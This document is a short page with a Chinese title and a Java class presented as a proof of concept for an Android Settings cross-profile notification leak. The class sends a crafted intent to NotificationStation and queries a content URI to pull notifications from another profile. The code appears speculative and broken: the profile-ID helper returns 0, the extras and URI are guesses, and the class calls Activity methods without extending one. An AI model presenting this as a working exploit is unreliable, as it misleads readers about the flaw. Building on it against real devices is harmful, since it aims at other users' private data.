CVE-2025-48555 Android NotificationStation 跨配置文件信息泄露漏洞

// CVE-2025-48555 PoC - Cross-Profile Information Disclosure // This PoC demonstrates the confused deputy issue in NotificationStation.java // Note: Actual exploitation requires specific Android environment setup import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.app.NotificationManager; public class CVE_2025_48555_PoC { // Target component in Android Settings private static final String TARGET_PACKAGE = "com.android.settings"; private static final String TARGET_CLASS = "com.android.settings.notification.NotificationStation"; public void exploitCrossProfileLeak() { // Step 1: Prepare intent targeting NotificationStation Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_CLASS)); // Step 2: Exploit confused deputy by crafting cross-profile request // The vulnerable code fails to properly validate the calling profile Bundle extras = new Bundle(); extras.putString("request_type", "notification_list"); extras.putInt("target_profile_id", getWorkProfileId()); intent.putExtras(extras); // Step 3: Send intent without proper permission check // This should be blocked but vulnerable code allows it try { startActivity(intent); // If successful, notification data from other profile is exposed } catch (SecurityException e) { // Expected behavior - should be blocked } } private int getWorkProfileId() { // Obtain work profile ID through standard Android APIs return 0; } // Alternative: Direct content provider access if exposed public void exploitViaContentProvider() { android.net.Uri uri = android.net.Uri.parse( "content://com.android.settings.notification/notifications" ); // Query should be filtered by profile but vulnerable implementation leaks data android.database.Cursor cursor = getContentResolver().query( uri, null, null, null, null ); if (cursor != null) { while (cursor.moveToNext()) { // Extract leaked notification data from other profile String notificationData = cursor.getString(0); processLeakedData(notificationData); } cursor.close(); } } private void processLeakedData(String data) { // Process obtained sensitive notification information } }